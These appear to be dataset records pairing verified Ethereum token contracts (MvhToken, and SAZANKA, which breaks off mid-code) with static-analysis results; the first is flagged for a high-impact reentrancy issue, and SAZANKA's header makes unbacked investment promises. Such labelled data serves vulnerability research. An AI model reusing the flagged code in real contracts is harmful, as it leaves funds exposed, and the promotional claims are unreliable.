{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,202
0x45c943973e65d069906b0dc33dc31d1d7d9d09dc
/** *Submitted for verification at Etherscan.io on 2021-03-06 */ pragma solidity >=0.4.22; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Token { using SafeMath for uint256; address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 8 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } contract MvhToken is Token, TokenERC20, Ownable { using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610292578063dd62ed3e146102fb575b600080fd5b3480156100ca57600080fd5b506100d3610322565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b0565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610416565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561041c565b3480156101dd57600080fd5b506101e661048b565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600435610494565b34801561022057600080fd5b50610195600160a060020a036004351661050c565b34801561024157600080fd5b5061016c600160a060020a036004351660243561051e565b34801561026557600080fd5b506100d36105ef565b34801561027a57600080fd5b5061016c600160a060020a0360043516602435610649565b34801561029e57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061065f9650505050505050565b34801561030757600080fd5b50610195600160a060020a0360043581169060243516610778565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b820191906000526020600020905b81548152906001019060200180831161038b57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561044c57600080fd5b600160a060020a0384166000908152600560209081526040808320338452909152902080548390039055610481848484610795565b5060019392505050565b60025460ff1681565b336000908152600460205260408120548211156104b057600080fd5b3360008181526004602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60046020526000908152604090205481565b600160a060020a03821660009081526004602052604081205482111561054357600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561057357600080fd5b600160a060020a0383166000818152600460209081526040808320805487900390556005825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b6000610656338484610795565b50600192915050565b60008361066c81856103b0565b15610770576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156107045781810151838201526020016106ec565b50505050905090810190601f1680156107315780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561075357600080fd5b505af1158015610767573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156107ac57600080fd5b600160a060020a0384166000908152600460205260409020548211156107d157600080fd5b600160a060020a038316600090815260046020526040902054828101116107f757600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461089657fe5b505050505600a165627a7a72305820b486925714d62cb62ed205318275453981ed48ee6606ce1bd43d40dce575a40e0029
{"success": true, "error": null, "results": {}}
10,203
0x02b17a05789fd8851f6d2d14d33a5f8f24b2867c
/** *Submitted for verification at Etherscan.io on 2021-07-03 */ /* ''.-|++oo++|:-..' -:+syhdmmmmmmmmmddmmmhys+:' '-+hmmmdddddddddmmmmmdddddddddhs:. ':ohdmmNdddddddddddddmmmmdhhyyhhyysyss|-' -smNmdmmmmdddddmddddddmmdddmmdhyyhhhsssosyo- .sNNNmddmdNddddddNddmmddmmmmddmNNmdddddhhhyyyy+' -hNNmdhydmmmdmmmddMmmmmmddmmmmmddNNmmmmNmdddddddy- :dNmdydyhmmmNdmmmmmN+mmmmmmdmmmmmddmNNNmmNmddddNmmdo' -ddmhhydddNmmNmmmmmmm.+dmmmNmmmmNmmmmmNNNmNNmdddmNmmmy- 'ohydhhdmdmNNmNmmmmmmN--+dmdmNmmmmNmmmdmNNNmNNmdddNNmmmy' '|yydmddmdmNNmNdmdmNmN|--|hmdmmmmmmNNmmmmNMNmMNddmmNNmNm- .|hhmNmmNmmmNNNmmmmNmms::|+ymmmmNmmdNmmmmmmMNNNmdddNNmmm+ -sdmmNmmNmmyhNNmmmdmNNh-''.-|hmmmmmmddyhNNmmNNNmdddNNmmNo |dmmmNmdNNmy:dMNmmddmNm-' '.-+hdddddddssdmmmdyhdddNNmNN: omNNmNmmmNmy-|NNmmdddmm|.''''..|ohdhhhhdyhhhsyysyddmmmNN+ sNNNmmmmdNNh:'oNmdhhhhys-.:+oydmmdddyyhyhddh-.'.|hdmNmmNh' sNNNmmNmdmNh|.'sNdhhhd:+-|+:ohmmhs+:'.:--|yy|:.-oddmmddmd' sNNNNdNmddmh:''-myhhhh:...' -so:-.' 'sy:.-ohmdmmddmN- sNNNNmmNdhdd|.'.osyhsd- ' '''' ys|.sddmdmmdddNs oMNmNmdNhhyy+-::|+s|'o' ' yyo+dmdmdddddddd yNNNNmdmdhy+sysddy|' '' yyo|mmdmmdddddsm homNmmdmddhy+-+dy|' ' sso+mmdmmddhhd+m| y+NNmyddmddd+.'|' ' s++oNNdmmmdhhdoss osmNh|hhddmmy: ''' 'o:ooNNdddmddhhh|d. -dmmo-hdddmmmh| ''' .-::. '-o-++MMmddmmddddsd+' +ddh:|hhddmmmmm|' '..---.' '-:+.|:NMNddNmddddhys-' hdms.sdhdddmddmd+' '.--'' '.---o.:.yMMmdNNmdddddd+. -ddd+-hdhdddmddmmmh+-' ''' '' '::-:--s::':mMNdmMNmdddddmo. 'ydmy-sdddmddmhdddmmmmho|-'''' ':yo----'h+| '|mMmmMMNmdmmdmms. '|hdd|omdddmdddhdmhmmNmNNNNNmdhs+::odm+----.'hs+.:+sdmdmMMNmmmmdmNy. :yddoodmdddNddddhdddmNNNmmNNNNNNNNNMN|-:--.' hhyssssydmmmNNMNmmmdmmh. .shd++hdmddddmddmdddhdmmNNNmmmNNNNmNNMo::..'-|dddsssyyhdmmmNNNmNNNmmmh- '+hd+ohdmddddomddmhdmdhhdmNNNmmmmdddho||-..|syydddyyyyyyhhddmmmdyssyhmNd|' :hd+odhmmdddN:dddyhdmNhshdmmdmdhdmy|--||:osssyydmmhyyyyyhyyo:::|+osyyhmNNy- .sh+sdhdmddddd-hddhhddmdhhddhhhdho+.--:osssssyhhmNmdyyhhhs::+syyssyssooyyhmh| '+doodhdNmmddm+:hdhddhdhyyyyyyyhhysyyooyyyyyyyhdddNNmdmho|ydddhho|.'-+|...||oo+' -dhodddNMNmho+|+so|hhhhyyyyyyyy|.'.:ddhhhyhdmmNNNmNNmh||smddmho-' .|::' '.-.' '| 'smmdddNNh+-''''''..-:sshyyyyhhy--+yddhhddmNmdmNMMNNmdyhmddds:''-':+.-|' '-'' .' -mNmddmh:' ''.-..'':+oshdmmmhddmdhhmNmmmddmNho+dmdmmdy|.'' .-++'.+- '.' '.. ommdho-' ''.|+y|.-|smNmmmdmmNMNdmMNNNNmmNNNmNdhy+:-.' '':o|''::'''' ''. 'hdho. '-'.::-...-:|+hmmmmmNNNMmNMNmmmmmmNho|dhy+..-:-.:ss'-.-.''' '''.' :hh: '.+syo..||::---|sdNmmmmmmNNNdoyddmmmmmmo|ohys:..-||oh||.'.' ' ''' '' sh|' .:os+|yys:'.'''':+|+Nmdddmhsyo.'''.-:+ydNNdoyhhy|.-:+oys: .'' '' '.. 'sy' .|+ds:.'ohy|'''..'-:.'.hmNNdhsh- '-+hms-|+sso|||+ho:''''' '' '-- 'h- .+sh+. -hmy' ':+.''':mNy:sd| '.:hd|.--+yys++ys:.''.' '' '':+' ':' ':os-' |dm+ '-s.'' -Nh.-s: '.|Ny----+yhy++ss.'-. ' -':o. .-::. '+y- |dN: '-s|.'' :ms'-s. ''.-dh::---+dms:sy.-- .:.:+' 'hddy:'' :h|. :dN: .|y...' -ms':y- '.-|o.-::::sMh:h|:|' '+-.|+' oNNmo--....od:.' ' -dN+ -+o'..' 'do -+|' '''..---..-::+mm|s|+. '' :o-.|+ mNdy+:::::|hm:.'''''.dNy' :++-'-.' |: ':s' '''' ''''..---..-:|+hN+yo| ''' 'o+'.|+ :+yysoooooshNN+-.-...'hmd. '-|s|'.-.'' '|::sy ''...''..'......--:|hN+sy- '.' '|+'..:| .ys|-.-:||+syhdy:----..omm|''.|oo:'::-.''-:'|mo '' ..--' '.......---::yM+so|..:. '-|''-.:| |mNds|:-..-|+oym+:::---:hmy'''||s+..:::-.....om-.' .---. '..------:::sMos||||-' '-:' ..|+ .-sdmhhyyyyyhmmdho|:::--.|yh|'':||s|'.:::::::-.ms..'.-.-.' '.--:::::::sNsd|+o:.' -:' '.+o .:.'-+shyyyhhdmmy+|o::::-.-:++.'.|:+s:''-:||:::-|mo-''-...' ....::::::odyhoo|:.' -|' '.|y. ':|''''.||:|+++:-.-:oo:||:-.-:|:.':-:+o- '--::::-:yd+.'.....' .-.:|::::|+yhs:::-' -+' '-.+d- -+-.' '-.'' .|oo|||:.-::|:..:-:++. '.-----ssdh:'...'.' .::||:::::+oy+::::-|+'' .---sm: .s-' ''' '-oyo:+:---::|-.---:|+. '-------+m+'...'..' -::|::::::++hd+:::+o'.' '----|dM| ||' '.|sm|:+:---:::..-..:|+' '----.'.sy-.''''.. ':::::::::|osNdh+|oo|-.'.----':NMo' ..'' '':hMd|::-.--::-'....:|+' '-:--..+m:++.''.-''::::::::|ydhm-:hds|||-----.'':mMy' '.' '.:yNNNd|::..----.'....-+|' '-:-:-:hso|''''...::--::::|oo+h''+o|:o|:---.''.|mNy. '.' '.+yNMNd+sd::-''.---''....-:|' .----sms-'''''.-----:::|:--+o''||+h+::-:. '-:oMmy. '.' '.|ohyhmNms''|h|-.''..-.''.....::' '---odm+'''''...---::::---s- '|:|y+:-|:..---mmys- '-' '.|shmNs-|dmh: .oo.'''....'...''.--' '.-+dNd:'''''...---::---||' .|-:sd|||:::--+Ms:o| .-::|hNh+hm| |ds' '::.....--.'..''''--' .-+mMds-:y:''..-------:+- '-||oys+:----.:mm| :+' '.yN:'sy. .. '+mmmmmmdhyys|-.''..' sNMNy|-:.''..------::|.':syhmNy:-----|ysh. '|' :s .- :hmmmmdmmmmmmmdhs|:.''.yMMmmho-'''''..---::|::odNNmdddo----+d::o .' ' .ymmmmdmmmmmmmmmmmmdo-+mMMNmmmy:' '''''.-:ohdmNNmmmmdhd|::omd' ' +ddmmdmddddddmdmmdmmmNMMMMNmmmmyo:-..-+hNNNNNmmNNNNmdhdyhNM+ :hdmddmmmmmmmmmmmmmmdmmNMMNNmmmNNNNNNNNNMNNNNNNNmNNNddddMMN- .ymdddmdddmdmmmNmdmmmmdmNNMNNmmNMNNNNNNNNNNNNNmmmmNNmhdddmh. SAZANKA t.me/sazankaclub twitter.com/sazankaclub reddit.com/r/sazankaclub/ www.sazanka.club Support SAZANKA and her team on their mission to conquer the world. You won't be disappointed! SAZANKA is a meme token which will bring your investment to the moon! 100% secured with locked liquidity and renounced ownership (asap after launch). Don't miss this one! Fair Launch: There are no team tokens or presale tokens issued. Total Supply: A total of 1,000,000,000,000 tokens are available at launch. Buy Fee: On purchase there is a 10% total tax (6% goes to the holders, 4% to the team for marketing). Bot Protection: The first buy of SAZANKA is capped at 3,000,000,000 tokens, 45-second buy cooldown for the first 2 minutes after launch. There is also a 15-second cooldown to sell after a buy to ban front-runner bots. There are no cool downs between sells. The sell fee is dynamically scaled to the sell's price impact, with a minimum fee of 10% and a maximum fee of 40%. SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SAZANKA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Sazanka | t.me/SazankaClub"; string private constant _symbol = unicode"SAZANKA"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = 